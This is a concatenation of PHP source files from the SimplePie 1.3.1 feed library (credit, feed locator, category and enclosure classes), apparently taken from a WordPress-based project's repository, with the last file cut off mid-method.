<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<media:credit>` as defined in Media RSS * * Used by {@see SimplePie_Enclosure::get_credit()} and {@see SimplePie_Enclosure::get_credits()} * * This class can be overloaded with {@see SimplePie::set_credit_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Credit { /** * Credited role * * @var string * @see get_role() */ var $role; /** * Organizational scheme * * @var string * @see get_scheme() */ var $scheme; /** * Credited name * * @var string * @see get_name() */ var $name; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($role = null, $scheme = null, $name = null) { $this->role = $role; $this->scheme = $scheme; $this->name = $name; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the role of the person receiving credit * * @return string|null */ public function get_role() { if ($this->role !== null) { return $this->role; } else { return null; } } /** * Get the organizational scheme * * @return string|null */ public function get_scheme() { if ($this->scheme !== null) { return $this->scheme; } else { return null; } } /** * Get the credited person/entity's name * * @return string|null */ public function get_name() { if ($this->name !== null) { return $this->name; } else { return null; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Credit.php
PHP
asf20
3,721
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Used for feed auto-discovery * * * This class can be overloaded with {@see SimplePie::set_locator_class()} * * @package SimplePie */ class SimplePie_Locator { var $useragent; var $timeout; var $file; var $local = array(); var $elsewhere = array(); var $cached_entities = array(); var $http_base; var $base; var $base_location = 0; var $checked_feeds = 0; var $max_checked_feeds = 10; protected $registry; public function __construct(SimplePie_File $file, $timeout = 10, $useragent = null, $max_checked_feeds = 10) { $this->file = $file; $this->useragent = $useragent; $this->timeout = $timeout; $this->max_checked_feeds = $max_checked_feeds; if (class_exists('DOMDocument')) { $this->dom = new DOMDocument(); set_error_handler(array('SimplePie_Misc', 'silence_errors')); $this->dom->loadHTML($this->file->body); restore_error_handler(); } else { $this->dom = null; } } public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function find($type = SIMPLEPIE_LOCATOR_ALL, &$working) { if ($this->is_feed($this->file)) { return $this->file; } if ($this->file->method & SIMPLEPIE_FILE_SOURCE_REMOTE) { $sniffer = $this->registry->create('Content_Type_Sniffer', array($this->file)); if ($sniffer->get_type() !== 'text/html') { return null; } } if ($type & ~SIMPLEPIE_LOCATOR_NONE) { $this->get_base(); } if ($type & SIMPLEPIE_LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery()) { return $working[0]; } if ($type & (SIMPLEPIE_LOCATOR_LOCAL_EXTENSION | SIMPLEPIE_LOCATOR_LOCAL_BODY | SIMPLEPIE_LOCATOR_REMOTE_EXTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->get_links()) { if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local)) { return $working; } if ($type & SIMPLEPIE_LOCATOR_LOCAL_BODY && $working = $this->body($this->local)) { return $working; } if ($type & SIMPLEPIE_LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere)) { return $working; } if ($type & SIMPLEPIE_LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere)) { return $working; } } return null; } public function is_feed($file) { if ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE) { $sniffer = $this->registry->create('Content_Type_Sniffer', array($file)); $sniffed = $sniffer->get_type(); if (in_array($sniffed, array('application/rss+xml', 'application/rdf+xml', 'text/rdf', 'application/atom+xml', 'text/xml', 'application/xml'))) { return true; } else { return false; } } elseif ($file->method & SIMPLEPIE_FILE_SOURCE_LOCAL) { return true; } else { return false; } } public function get_base() { if ($this->dom === null) { throw new SimplePie_Exception('DOMDocument not found, unable to use locator'); } $this->http_base = $this->file->url; $this->base = $this->http_base; $elements = $this->dom->getElementsByTagName('base'); foreach ($elements as $element) { if ($element->hasAttribute('href')) { $base = $this->registry->call('Misc', 'absolutize_url', array(trim($element->getAttribute('href')), $this->http_base)); if ($base === false) { continue; } $this->base = $base; $this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0; break; } } } public function autodiscovery() { $done = array(); $feeds = array(); $feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds)); $feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds)); $feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds)); if (!empty($feeds)) { return array_values($feeds); } else { return null; } } protected function search_elements_by_tag($name, &$done, $feeds) { if ($this->dom === null) { throw new SimplePie_Exception('DOMDocument not found, unable to use locator'); } $links = $this->dom->getElementsByTagName($name); foreach ($links as $link) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if ($link->hasAttribute('href') && $link->hasAttribute('rel')) { $rel = array_unique($this->registry->call('Misc', 'space_seperated_tokens', array(strtolower($link->getAttribute('rel'))))); $line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1; if ($this->base_location < $line) { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base)); } else { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base)); } if ($href === false) { continue; } if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call('Misc', 'parse_mime', array($link->getAttribute('type')))), array('application/rss+xml', 'application/atom+xml'))) && !isset($feeds[$href])) { $this->checked_feeds++; $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $feed = $this->registry->create('File', array($href, $this->timeout, 5, $headers, $this->useragent)); if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) { $feeds[$href] = $feed; } } $done[] = $href; } } return $feeds; } public function get_links() { if ($this->dom === null) { throw new SimplePie_Exception('DOMDocument not found, unable to use locator'); } $links = $this->dom->getElementsByTagName('a'); foreach ($links as $link) { if ($link->hasAttribute('href')) { $href = trim($link->getAttribute('href')); $parsed = $this->registry->call('Misc', 'parse_url', array($href)); if ($parsed['scheme'] === '' || preg_match('/^(http(s)|feed)?$/i', $parsed['scheme'])) { if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base)); } else { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base)); } if ($href === false) { continue; } $current = $this->registry->call('Misc', 'parse_url', array($this->file->url)); if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority']) { $this->local[] = $href; } else { $this->elsewhere[] = $href; } } } } $this->local = array_unique($this->local); $this->elsewhere = array_unique($this->elsewhere); if (!empty($this->local) || !empty($this->elsewhere)) { return true; } return null; } public function extension(&$array) { foreach ($array as $key => $value) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if (in_array(strtolower(strrchr($value, '.')), array('.rss', '.rdf', '.atom', '.xml'))) { $this->checked_feeds++; $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $feed = $this->registry->create('File', array($value, $this->timeout, 5, $headers, $this->useragent)); if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) { return $feed; } else { unset($array[$key]); } } } return null; } public function body(&$array) { foreach ($array as $key => $value) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if (preg_match('/(rss|rdf|atom|xml)/i', $value)) { $this->checked_feeds++; $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $feed = $this->registry->create('File', array($value, $this->timeout, 5, null, $this->useragent)); if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) { return $feed; } else { unset($array[$key]); } } } return null; } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Locator.php
PHP
asf20
11,185
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Manages all category-related data * * Used by {@see SimplePie_Item::get_category()} and {@see SimplePie_Item::get_categories()} * * This class can be overloaded with {@see SimplePie::set_category_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Category { /** * Category identifier * * @var string * @see get_term */ var $term; /** * Categorization scheme identifier * * @var string * @see get_scheme() */ var $scheme; /** * Human readable label * * @var string * @see get_label() */ var $label; /** * Constructor, used to input the data * * @param string $term * @param string $scheme * @param string $label */ public function __construct($term = null, $scheme = null, $label = null) { $this->term = $term; $this->scheme = $scheme; $this->label = $label; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the category identifier * * @return string|null */ public function get_term() { if ($this->term !== null) { return $this->term; } else { return null; } } /** * Get the categorization scheme identifier * * @return string|null */ public function get_scheme() { if ($this->scheme !== null) { return $this->scheme; } else { return null; } } /** * Get the human readable label * * @return string|null */ public function get_label() { if ($this->label !== null) { return $this->label; } else { return $this->get_term(); } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Category.php
PHP
asf20
3,707
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles everything related to enclosures (including Media RSS and iTunes RSS) * * Used by {@see SimplePie_Item::get_enclosure()} and {@see SimplePie_Item::get_enclosures()} * * This class can be overloaded with {@see SimplePie::set_enclosure_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Enclosure { /** * @var string * @see get_bitrate() */ var $bitrate; /** * @var array * @see get_captions() */ var $captions; /** * @var array * @see get_categories() */ var $categories; /** * @var int * @see get_channels() */ var $channels; /** * @var SimplePie_Copyright * @see get_copyright() */ var $copyright; /** * @var array * @see get_credits() */ var $credits; /** * @var string * @see get_description() */ var $description; /** * @var int * @see get_duration() */ var $duration; /** * @var string * @see get_expression() */ var $expression; /** * @var string * @see get_framerate() */ var $framerate; /** * @var string * @see get_handler() */ var $handler; /** * @var array * @see get_hashes() */ var $hashes; /** * @var string * @see get_height() */ var $height; /** * @deprecated * @var null */ var $javascript; /** * @var array * @see get_keywords() */ var $keywords; /** * @var string * @see get_language() */ var $lang; /** * @var string * @see get_length() */ var $length; /** * @var string * @see get_link() */ var $link; /** * @var string * @see get_medium() */ var $medium; /** * @var string * @see get_player() */ var $player; /** * @var array * @see get_ratings() */ var $ratings; /** * @var array * @see get_restrictions() */ var $restrictions; /** * @var string * @see get_sampling_rate() */ var $samplingrate; /** * @var array * @see get_thumbnails() */ var $thumbnails; /** * @var string * @see get_title() */ var $title; /** * @var string * @see get_type() */ var $type; /** * @var string * @see get_width() */ var $width; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors * * @uses idna_convert If available, this will convert an IDN */ public function __construct($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null) { $this->bitrate = $bitrate; $this->captions = $captions; $this->categories = $categories; $this->channels = $channels; $this->copyright = $copyright; $this->credits = $credits; $this->description = $description; $this->duration = $duration; $this->expression = $expression; $this->framerate = $framerate; $this->hashes = $hashes; $this->height = $height; $this->keywords = $keywords; $this->lang = $lang; $this->length = $length; $this->link = $link; $this->medium = $medium; $this->player = $player; $this->ratings = $ratings; $this->restrictions = $restrictions; $this->samplingrate = $samplingrate; $this->thumbnails = $thumbnails; $this->title = $title; $this->type = $type; $this->width = $width; if (class_exists('idna_convert')) { $idn = new idna_convert(); $parsed = SimplePie_Misc::parse_url($link); $this->link = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']); } $this->handler = $this->get_handler(); // Needs to load last } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the bitrate * * @return string|null */ public function get_bitrate() { if ($this->bitrate !== null) { return $this->bitrate; } else { return null; } } /** * Get a single caption * * @param int $key * @return SimplePie_Caption|null */ public function get_caption($key = 0) { $captions = $this->get_captions(); if (isset($captions[$key])) { return $captions[$key]; } else { return null; } } /** * Get all captions * * @return array|null Array of {@see SimplePie_Caption} objects */ public function get_captions() { if ($this->captions !== null) { return $this->captions; } else { return null; } } /** * Get a single category * * @param int $key * @return SimplePie_Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } else { return null; } } /** * Get all categories * * @return array|null Array of {@see SimplePie_Category} objects */ public function get_categories() { if ($this->categories !== null) { return $this->categories; } else { return null; } } /** * Get the number of audio channels * * @return int|null */ public function get_channels() { if ($this->channels !== null) { return $this->channels; } else { return null; } } /** * Get the copyright information * * @return SimplePie_Copyright|null */ public function get_copyright() { if ($this->copyright !== null) { return $this->copyright; } else { return null; } } /** * Get a single credit * * @param int $key * @return SimplePie_Credit|null */ public function get_credit($key = 0) { $credits = $this->get_credits(); if (isset($credits[$key])) { return $credits[$key]; } else { return null; } } /** * Get all credits * * @return array|null Array of {@see SimplePie_Credit} objects */ public function get_credits() { if ($this->credits !== null) { return $this->credits; } else { return null; } } /** * Get the description of the enclosure * * @return string|null */ public function get_description() { if ($this->description !== null) { return $this->description; } else { return null; } } /** * Get the duration of the enclosure * * @param string $convert Convert seconds into hh:mm:ss * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found) */ public function get_duration($convert = false) { if ($this->duration !== null) { if ($convert) { $time = SimplePie_Misc::time_hms($this->duration); return $time; } else { return $this->duration; } } else { return null; } } /** * Get the expression * * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full' */ public function get_expression() { if ($this->expression !== null) { return $this->expression; } else { return 'full'; } } /** * Get the file extension * * @return string|null */ public function get_extension() { if ($this->link !== null) { $url = SimplePie_Misc::parse_url($this->link); if ($url['path'] !== '') { return pathinfo($url['path'], PATHINFO_EXTENSION); } } return null; } /** * Get the framerate (in frames-per-second) * * @return string|null */ public function get_framerate() { if ($this->framerate !== null) { return $this->framerate; } else { return null; } } /** * Get the preferred handler * * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3' */ public function get_handler() { return $this->get_real_type(true); } /** * Get a single hash * * @link http://www.rssboard.org/media-rss#media-hash * @param int $key * @return string|null Hash as per `media:hash`, prefixed with "$algo:" */ public function get_hash($key = 0) { $hashes = $this->get_hashes(); if (isset($hashes[$key])) { return $hashes[$key]; } else { return null; } } /** * Get all credits * * @return array|null Array of strings, see {@see get_hash()} */ public function get_hashes() { if ($this->hashes !== null) { return $this->hashes; } else { return null; } } /** * Get the height * * @return string|null */ public function get_height() { if ($this->height !== null) { return $this->height; } else { return null; } } /** * Get the language * * @link http://tools.ietf.org/html/rfc3066 * @return string|null Language code as per RFC 3066 */ public function get_language() { if ($this->lang !== null) { return $this->lang; } else { return null; } } /** * Get a single keyword * * @param int $key * @return string|null */ public function get_keyword($key = 0) { $keywords = $this->get_keywords(); if (isset($keywords[$key])) { return $keywords[$key]; } else { return null; } } /** * Get all keywords * * @return array|null Array of strings */ public function get_keywords() { if ($this->keywords !== null) { return $this->keywords; } else { return null; } } /** * Get length * * @return float Length in bytes */ public function get_length() { if ($this->length !== null) { return $this->length; } else { return null; } } /** * Get the URL * * @return string|null */ public function get_link() { if ($this->link !== null) { return urldecode($this->link); } else { return null; } } /** * Get the medium * * @link http://www.rssboard.org/media-rss#media-content * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable' */ public function get_medium() { if ($this->medium !== null) { return $this->medium; } else { return null; } } /** * Get the player URL * * Typically the same as {@see get_permalink()} * @return string|null Player URL */ public function get_player() { if ($this->player !== null) { return $this->player; } else { return null; } } /** * Get a single rating * * @param int $key * @return SimplePie_Rating|null */ public function get_rating($key = 0) { $ratings = $this->get_ratings(); if (isset($ratings[$key])) { return $ratings[$key]; } else { return null; } } /** * Get all ratings * * @return array|null Array of {@see SimplePie_Rating} objects */ public function get_ratings() { if ($this->ratings !== null) { return $this->ratings; } else { return null; } } /** * Get a single restriction * * @param int $key * @return SimplePie_Restriction|null */ public function get_restriction($key = 0) { $restrictions = $this->get_restrictions(); if (isset($restrictions[$key])) { return $restrictions[$key]; } else { return null; } } /** * Get all restrictions * * @return array|null Array of {@see SimplePie_Restriction} objects */ public function get_restrictions() { if ($this->restrictions !== null) { return $this->restrictions; } else { return null; } } /** * Get the sampling rate (in kHz) * * @return string|null */ public function get_sampling_rate() { if ($this->samplingrate !== null) { return $this->samplingrate; } else { return null; } } /** * Get the file size (in MiB) * * @return float|null File size in mebibytes (1048 bytes) */ public function get_size() { $length = $this->get_length(); if ($length !== null) { return round($length/1048576, 2); } else { return null; } } /** * Get a single thumbnail * * @param int $key * @return string|null Thumbnail URL */ public function get_thumbnail($key = 0) { $thumbnails = $this->get_thumbnails(); if (isset($thumbnails[$key])) { return $thumbnails[$key]; } else { return null; } } /** * Get all thumbnails * * @return array|null Array of thumbnail URLs */ public function get_thumbnails() { if ($this->thumbnails !== null) { return $this->thumbnails; } else { return null; } } /** * Get the title * * @return string|null */ public function get_title() { if ($this->title !== null) { return $this->title; } else { return null; } } /** * Get mimetype of the enclosure * * @see get_real_type() * @return string|null MIME type */ public function get_type() { if ($this->type !== null) { return $this->type; } else { return null; } } /** * Get the width * * @return string|null */ public function get_width() { if ($this->width !== null) { return $this->width; } else { return null; } } /** * Embed the enclosure using `<embed>` * * @deprecated Use the second parameter to {@see embed} instead * * @param array|string $options See first paramter to {@see embed} * @return string HTML string to output */ public function native_embed($options='') { return $this->embed($options, true); } /** * Embed the enclosure using Javascript * * `$options` is an array or comma-separated key:value string, with the * following properties: * * - `alt` (string): Alternate content for when an end-user does not have * the appropriate handler installed or when a file type is * unsupported. Can be any text or HTML. Defaults to blank. * - `altclass` (string): If a file type is unsupported, the end-user will * see the alt text (above) linked directly to the content. That link * will have this value as its class name. Defaults to blank. * - `audio` (string): This is an image that should be used as a * placeholder for audio files before they're loaded (QuickTime-only). * Can be any relative or absolute URL. Defaults to blank. * - `bgcolor` (string): The background color for the media, if not * already transparent. Defaults to `#ffffff`. * - `height` (integer): The height of the embedded media. Accepts any * numeric pixel value (such as `360`) or `auto`. Defaults to `auto`, * and it is recommended that you use this default. * - `loop` (boolean): Do you want the media to loop when its done? * Defaults to `false`. * - `mediaplayer` (string): The location of the included * `mediaplayer.swf` file. This allows for the playback of Flash Video * (`.flv`) files, and is the default handler for non-Odeo MP3's. * Defaults to blank. * - `video` (string): This is an image that should be used as a * placeholder for video files before they're loaded (QuickTime-only). * Can be any relative or absolute URL. Defaults to blank. * - `width` (integer): The width of the embedded media. Accepts any * numeric pixel value (such as `480`) or `auto`. Defaults to `auto`, * and it is recommended that you use this default. * - `widescreen` (boolean): Is the enclosure widescreen or standard? * This applies only to video enclosures, and will automatically resize * the content appropriately. Defaults to `false`, implying 4:3 mode. * * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto` * will default to 480x360 video resolution. Widescreen (16:9) mode with * `width` and `height` set to `auto` will default to 480x270 video resolution. * * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'. * @param array|string $options Comma-separated key:value list, or array * @param bool $native Use `<embed>` * @return string HTML string to output */ public function embed($options = '', $native = false) { // Set up defaults $audio = ''; $video = ''; $alt = ''; $altclass = ''; $loop = 'false'; $width = 'auto'; $height = 'auto'; $bgcolor = '#ffffff'; $mediaplayer = ''; $widescreen = false; $handler = $this->get_handler(); $type = $this->get_real_type(); // Process options and reassign values as necessary if (is_array($options)) { extract($options); } else { $options = explode(',', $options); foreach($options as $option) { $opt = explode(':', $option, 2); if (isset($opt[0], $opt[1])) { $opt[0] = trim($opt[0]); $opt[1] = trim($opt[1]); switch ($opt[0]) { case 'audio': $audio = $opt[1]; break; case 'video': $video = $opt[1]; break; case 'alt': $alt = $opt[1]; break; case 'altclass': $altclass = $opt[1]; break; case 'loop': $loop = $opt[1]; break; case 'width': $width = $opt[1]; break; case 'height': $height = $opt[1]; break; case 'bgcolor': $bgcolor = $opt[1]; break; case 'mediaplayer': $mediaplayer = $opt[1]; break; case 'widescreen': $widescreen = $opt[1]; break; } } } } $mime = explode('/', $type, 2); $mime = $mime[0]; // Process values for 'auto' if ($width === 'auto') { if ($mime === 'video') { if ($height === 'auto') { $width = 480; } elseif ($widescreen) { $width = round((intval($height)/9)*16); } else { $width = round((intval($height)/3)*4); } } else { $width = '100%'; } } if ($height === 'auto') { if ($mime === 'audio') { $height = 0; } elseif ($mime === 'video') { if ($width === 'auto') { if ($widescreen) { $height = 270; } else { $height = 360; } } elseif ($widescreen) { $height = round((intval($width)/16)*9); } else { $height = round((intval($width)/4)*3); } } else { $height = 376; } } elseif ($mime === 'audio') { $height = 0; } // Set proper placeholder value if ($mime === 'audio') { $placeholder = $audio; } elseif ($mime === 'video') { $placeholder = $video; } $embed = ''; // Flash if ($handler === 'flash') { if ($native) { $embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>"; } else { $embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>"; } } // Flash Media Player file types. // Preferred handler for MP3 file types. elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) { $height += 20; if ($native) { $embed .= "<embed 